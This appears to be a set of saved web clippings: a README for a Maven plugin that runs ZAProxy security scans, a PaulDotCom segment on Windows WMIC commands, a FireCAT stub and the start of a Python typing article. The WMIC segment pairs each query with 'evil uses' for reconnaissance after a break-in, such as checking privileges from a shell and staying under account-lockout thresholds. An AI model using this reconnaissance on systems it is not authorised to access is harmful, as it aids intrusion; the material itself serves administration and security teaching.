  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-history js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='20'%3e%3cpath fill-rule='evenodd' d='M8 13H6V6h5v2H8v5zM7 1C4.81 1 2.87 2.02 1.59 3.59L0 2v4h4L2.5 4.5C3.55 3.17 5.17 2.3 7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-.34.03-.67.09-1H.08C.03 7.33 0 7.66 0 8c0 3.86 3.14 7 7 7s7-3.14 7-7-3.14-7-7-7z' data-evernote-id='445' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 38  commits 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-git-branch js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='21'%3e%3cpath fill-rule='evenodd' d='M10 5c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v.3c-.02.52-.23.98-.63 1.38-.4.4-.86.61-1.38.63-.83.02-1.48.16-2 .45V4.72a1.993 1.993 0 0 0-1-3.72C.88 1 0 1.89 0 3a2 2 0 0 0 1 1.72v6.56c-.59.35-1 .99-1 1.72 0 1.11.89 2 2 2 1.11 0 2-.89 2-2 0-.53-.2-1-.53-1.36.09-.06.48-.41.59-.47.25-.11.56-.17.94-.17 1.05-.05 1.95-.45 2.75-1.25S8.95 7.77 9 6.73h-.02C9.59 6.37 10 5.73 10 5zM2 1.8c.66 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2C1.35 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2zm0 12.41c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm6-8c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='448' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 2  branches 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-tag js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='22'%3e%3cpath fill-rule='evenodd' d='M7.73 1.73C7.26 1.26 6.62 1 5.96 1H3.5C2.13 1 1 2.13 1 3.5v2.47c0 .66.27 1.3.73 1.77l6.06 6.06c.39.39 1.02.39 1.41 0l4.59-4.59a.996.996 0 0 0 0-1.41L7.73 1.73zM2.38 7.09c-.31-.3-.47-.7-.47-1.13V3.5c0-.88.72-1.59 1.59-1.59h2.47c.42 0 .83.16 1.13.47l6.14 6.13-4.73 4.73-6.13-6.15zM3.01 3h2v2H3V3h.01z' data-evernote-id='451' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 4  releases 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-organization js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='23'%3e%3cpath fill-rule='evenodd' d='M16 12.999c0 .439-.45 1-1 1H7.995c-.539 0-.994-.447-.995-.999H1c-.54 0-1-.561-1-1 0-2.634 3-4 3-4s.229-.409 0-1c-.841-.621-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.442.58 2.5 3c.058 2.41-.159 2.379-1 3-.229.59 0 1 0 1s1.549.711 2.42 2.088C9.196 9.369 10 8.999 10 8.999s.229-.409 0-1c-.841-.62-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.437.581 2.495 3c.059 2.41-.158 2.38-1 3-.229.59 0 1 0 1s3.005 1.366 3.005 4z' data-evernote-id='454' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 1  contributor 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-law js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='24'%3e%3cpath fill-rule='evenodd' d='M7 4c-.83 0-1.5-.67-1.5-1.5S6.17 1 7 1s1.5.67 1.5 1.5S7.83 4 7 4zm7 6c0 1.11-.89 2-2 2h-1c-1.11 0-2-.89-2-2l2-4h-1c-.55 0-1-.45-1-1H8v8c.42 0 1 .45 1 1h1c.42 0 1 .45 1 1H3c0-.55.58-1 1-1h1c0-.55.58-1 1-1h.03L6 5H5c0 .55-.45 1-1 1H3l2 4c0 1.11-.89 2-2 2H2c-1.11 0-2-.89-2-2l2-4H1V5h3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1h3v1h-1l2 4zM2.5 7L1 10h3L2.5 7zM13 10l-1.5-3-1.5 3h3z' data-evernote-id='457' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Apache-2.0 

  1. JavaScript 93.4%
  2. Java 6.1%
  3. Other 0.5%

Find file

Clone or download

<img src='img/1122035' width='20' height='20' />

cryptableView all commits by cryptable Update to ZAP Proxy 2.7

Latest commit  d674b0c  on Jun 10, 2018

Type | Name | Latest commit message | Commit time  
---|---|---|---  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='35'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='574' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  src |  Update to ZAP Proxy 2.7 |  7 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='36'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='584' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  .gitignore |  Update to ZAP Proxy 2.7 |  7 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='37'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='594' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  LICENSE-2.0.txt |  Added zaproxy client source into the plugin |  3 years ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='38'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='604' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  README.md |  Reorganized POM into official POM for maven repository |  3 years ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='39'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='614' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  pom.xml |  Update to ZAP Proxy 2.7 |  7 months ago  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='40'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='625'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> README.md

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='41'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='627' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />zap-
maven-plugin

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='42'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='629' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Introduction

This is a maven plugin to perform security scans with ZAProxy at integration
tests.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='43'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='632' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Usage

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='44'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='634' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>plugin integration

Insert following basic code into your maven project as a plugin:

[code]

    <plugin>
        <groupId>org.cryptable.zap</groupId>
        <artifactId>mavenplugin</artifactId>
        <version>2.0-SNAPSHOT</version>
        <configuration>
            <apiKey>ghnesdk0tejjsd6n7dhs9gdhskd</apiKey>
            <zapProgram>C:\Program Files\ZAProxy\zap.bat</zapProgram>
            <zapProxyHost>localhost</zapProxyHost>
            <zapProxyPort>8080</zapProxyPort>
            <targetURL>http://localhost/bodgeit</targetURL>
            <format>html</format>
        </configuration>
        <executions>
            <execution>
                <id>startZAP</id>
                <phase>pre-integration-test</phase>
                <goals>
                    <goal>start-zap</goal>
                </goals>
            </execution>
            <execution>
                <id>porcessZAP</id>
                <phase>post-integration-test</phase>
                <goals>
                    <goal>process-zap</goal>
                </goals>
            </execution>
        </executions>
    </plugin>
    
[/code]

Extra configuration parameters can be added \(see Configuration Parameters\)

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='45'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='638' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Configuration Parameters

  * <apiKey> \(String\): API key of the ZAProxy web service
  * <zapProgram> \(String\): location where ZAProxy application is installed
  * <zapProxyHost> \(String\): host on which ZAProxy is installed
  * <zapProxyPort> \(Integer\): port to which ZAProxy listens
  * <targetURL> \(String\): URL to attack
  * <newSession> \(true/false\): ZAProxy runs as a service \(no start or stop or ZAProxy\) and start everytime a new session
  * <zapSleep> \(Integer\): milliseconds to wait to start ZAProxy
  * <daemon> \(true/false\): start and stop ZAProxy as deamon
  * <property.file> \(String\): name of property file to change
  * <property.file.proxy.host> \(String\): parameter name in the properties file to write the ZAProxy host
  * <property.file.proxy.port> \(String\): parameter name in the properties file to write the ZAProxy port
  * <spiderURL> \(true/false\): let ZAProxy execute a spider of the targetURL
  * <scanURL> \(true/false\): let ZAProxy execute a scan of the targetURL
  * <saveSession> \(true/false\): let ZAP save the session
  * <shutdownZAP> \(true/false\): stop ZAProxy after scan
  * <reportAlerts> \(true/false\): report the alerts
  * <reportsDirectory> \(true/false\): directory to store the report
  * <reportsFilenameNoExtension> \(true/false\): filename of the report without extension, because extension is determined by the format
  * <format> \(none/html/xml/json\): Output format of the report

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='46'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='660' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Build

  1. Build ZAProxy to built the client API. It's name is zap-api-v2-5.jar \(in build/zap directory\)
  2. Install the jar in the maven repository

[code]

    mvn install:install-file -Dfile=zap-api-v2-5.jar -DgroupId=org.zaproxy -DartifactId=clientapi -Dversion=2.5.0 -Dpackaging=jar
    
[/code]

  3. perform a 'mvn clean install' in the zap-maven-plugin directory

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='47'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='667' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Release Notes:

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='48'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='669' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Version 1.2

This version is a merge on the version 1.0 and 1.1, which supports ZAProxy 2.5

  * Added extended report handling to create an index.html \(based on html-file of ZAProxy\)
  * Modify a properties \(used for serenity\) file to setup the Proxy Host and Proxy Port to point to ZAProxy
  * Support zaproxy-client-v2-5.jar
  * added apiKey into the POM file

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='49'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='677' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Version 1.1

This is the version of Javabeanz, which supports ZAProxy 2.4

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='50'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='680' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Version 1.0

Initial version using ZAProxy 2.2

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='683' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />TODO:

  * Writing tests
  * HTML formatting 
    * Summary page of problems

# Episode141 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:56:32 PM_  
---|---  
**Updated:**| _8/5/2009 12:56:56 PM_  
**Author:**| __  
**Tags:**| _windows security security tools pauldotcom Tutorials_  
  

# Tech Segment: WMIC rocks my world\!

By Mick Douglas

How I Learned to Stop Worrying and Love Windows. Sure, you have seen Ed
Skoudis's WMIC insanity... But how much further can it go?

### What is it?

WMIC is a command line interface to WMI -- Windows Management Instrumentation.
It's an API which allows low level access to a wide variety of information
about systems \(both hardware and software\). The really neat thing about WMIC
is that it allows you to poll info about a system \*without\* having to write
scripts or applications\! Best of all, it comes with the OS, so you don't have
to buy anything else\!

### Why I love WMIC

I work at a fairly large not-for-profit. Our budget for automation and
discovery tools is so low that during our yearly funding discussions, I look
up to see the bellies of snakes. \(Finance committee, I'm just kidding. I
still love you guys. Please look kindly on my department's future requests.\)
WMIC provides a very low cost -- only labor -- method of rapidly pulling
needed info from our Windows servers. I've been using WMIC now for a little
over a year, and I am continually struck by just how all encompassing WMI is
and how much work using WMIC saves us. Also I'd be remiss if I didn't mention
that WMIC is the perfect enabler for my incessant curiosity.

### Secrets? Cover ups? Conspiracies?

Microsoft did something right with WMIC, but kept it really secret. Conspiracy
theorists may gossip about the "true reason" it's not being more actively
promoted, I believe the reason is fairly benign. My guess/hope is that it's
still a work in progress. While WMIC is very powerful, it also is barely
documented, the syntax isn't always consistent, several of the functions
overlap, and some don't work in a way that makes much sense to mere mortals. I
can only hope that WMIC gets the care and attention it so richly deserves.
\(warning: me liking a particular bit of technology is a great way to jinx it.
Please refer to Amega, OS/2 Warp, BeOS, and NextStep for some examples of what
happens when I like something.\)

### Is WMIC right for me?

A final note before I you give the sample commands: you need to understand and
accept this isn't for everyone. Regardless of what the naysayers will
\(nay\)say about Microsoft, one thing they did a great job on was selling the
idea of computing made "easy". WMIC isn't rocket science, yet it is a sharp
turn away from your GUIs & MMCs. If you've only had limited exposure the
command line, and it makes you queasy, just relax and breathe deeply. The
extreme lack of documentation about WMIC means you're going to be banging your
head into a wall at times. Don't worry about this... you're taking the road
less traveled. In a way it's a perfect excuse to lighten-up -- remember we're
all fumbling in this together\! And now here's some sample commands and
scenarios where they might be helpful. Happy hacking\!

WMIC can work against three types of targets. Local, a single system, or
multiple systems. Assuming you want to determine what services are on systems,
here's how you run WMIC against each target type:

Local target:

[code]

    wmic service get name
    
[/code]

Single remote target \(you should use the quotes around the machine name --
WMIC and cmd.exe can exhibit odd behavior if you have dashes in the computer
name\):

[code]

    wmic /node:"machine-FQDN" service get name
    
[/code]

Multiple remote targets \(again, please use the quotes around the target file
name. Also your target file should be flat text and contain one machine name
per line.\)

[code]

    wmic /node:"@server-targets.txt" service get name
    
[/code]

You can also have WMIC automatically run a command repeatedly. This is
\*excellent\* if you need to catch someone "in the act". Say you need to catch
someone inserting a USB thumb drive. Here's one way to do that.

[code]

    wmic diskdrive get interfacetype /every:30
    
[/code]

Here's some sample commands that I use fairly often. What nics does this
system have? good use: Did someone install VMWare workstation? \(assuming
that's against policy\) evil use: does this system have multiple NICs? Can I
bridge two networks?

[code]

    wmic nic get name
    
[/code]

What is your IP address and MAC? I believe this is neutral.

[code]

    wmic nicconfig get ipaddress,macaddress
    
[/code]

  
When did this system last boot? good use: are they rebooting daily per policy
\(so they can get patches and have the logon scripts run?\) evil use: Is this
a neglected system? If it's not been rebooted in over a month, it's probably
not getting patches.

[code]

    wmic nic get timeoflastreset
    
[/code]

[code]

    wmic os get lastbootuptime
    
[/code]

Find systems with usb thumb drives good use: check to see who's using USB
media \(I'm a bit stumped how this can be used for evil.\)

[code]

    wmic diskdrive get interfacetype
    
[/code]

Find disks that are of a certain size good use: see who needs an upgrade evil
use: where can I stash my WaR3z?

[code]

    wmic logicaldisk get description,filesystem,name,size
    
[/code]

[code]

    wmic logicaldisk get description,name,freespace,size
    
[/code]

[code]

    wmic volume get label,freespace,filesystem,capacity,driveletter
    
[/code]

  
Who am i? good use: verify you're using the account you think you're using\!
evil use: my 'sploit just gave me a cmd.exe shell. What level of access do I
have now?

  

[code]

    wmic computersystem get username
    
[/code]

What clock speed and how many cores? good use: See who needs an upgrade evil
use: will this be a good system to run John the Ripper on?

[code]

    wmic cpu get maxclockspeed
    
[/code]

Who has logged onto this system & when? good use: audit account activity on
sensitive systems. evil use: audit account activity

[code]

    wmic netlogin get name,lastlogon
    
[/code]

  
Are people brute forcing accounts? good use: check to see what guessing
attempts are happening evil use: ensure you stay below the account lockout
threshold

[code]

    wmic netlogin get name,badpasswordcount
    
[/code]

Are the screensavers password protected? What is the timeout? good use: see
that all systems are complying with policy evil use: find systems to walk up
and use \(assuming physical access is an option\)

[code]

    wmic desktop get screensaversecure,screensavertimeout
    
[/code]

Find what logon methods are supported on your domain good use: you better not
see NTLM listed in here\!\! evil use: you're hoping to see NTLM used\!

[code]

    wmic logon get authenticationpackage
    
[/code]

What services are running on network services good use: see what services are
available to the network evil use: now that you're past the firewall, what
\*really\* is running on this box?

[code]

    wmic netclient get name
    
[/code]

What shares are they connected to? good use: ensure users have access to the
standard shares they are supposed to evil use: find systems that are connected
to sensitive shares.

[code]

    wmic netuse get name,username,connectiontype,localname
    
[/code]

What shares are they sharing? good use: ensure users haven't "over shared"
their system evil use: find systems where they are sharing too much or where
they are sharing sensitive info

[code]

    wmic share get name,path
    
[/code]

Where are the event logs? good use: ensure all event logs are set and
available evil use: has the blue team hidden the event logs? Find them\!

[code]

    wmic nteventlog get path,filename,writeable
    
[/code]

What os am i dealing with? good use: inventory management or who needs an
upgrade evil use: where are the softer targets?

[code]

    wmic os get name,servicepackmajorversion
    
[/code]

What services are running? good use: ensure security services like AV are
running evil use: find systems where vulnerable services are running

[code]

    wmic service get name,startmode,state,status
    
[/code]

What software is installed and what version is it? good use: look for
vulnerable software

[code]

    wmic product get name,version
    
[/code]

It is beginning to look like we could script this and generate a quick
vulnerability assessment scanner using built in Windows commands..... Hummm...
How many IDS alerts would that generate?

  

### Additional WMIC resources

WMIC - Take Command-line Control over WMI \- Microsoft Technet article about
WMIC

List of WMIC Aliases \- from ss64.com

# FireCAT: Firefox Catalog of Auditing exTension | The Catalog
**Created:**| _3/31/2011 8:57:47 AM_  
---|---  
**Updated:**| _3/31/2011 8:57:55 AM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark security tools_  
  

##  
Welcome to  _FireCAT_

**FireCAT** \(_Firefox**C** atalog of **A** uditing ex**T** ension_\) is a
mindmap collection of the most efficient and useful Firefox extensions
oriented application security auditing and assessment. FireCAT is not a
replacement of other security utilities and software as well as fuzzers,
proxies and application vulnerabilities scanners.

# How to Use Static Type Checking in Python 3.6 – Adam Geitgey – Medium

**Created:**| _6/29/2017 4:03:07 PM_  
---|---  
**Updated:**| _6/29/2017 4:03:07 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# How to Use Static Type Checking in Python 3.6

## Automatically catch many common errors while coding

One of the most common complaints about the Python language is that variables
are _Dynamically Typed_. That means you declare variables without giving them
a specific data type. Types are automatically assigned at based on what data
was passed in:

<img src='img/Temp2_4084.png' width='75' height='75' />

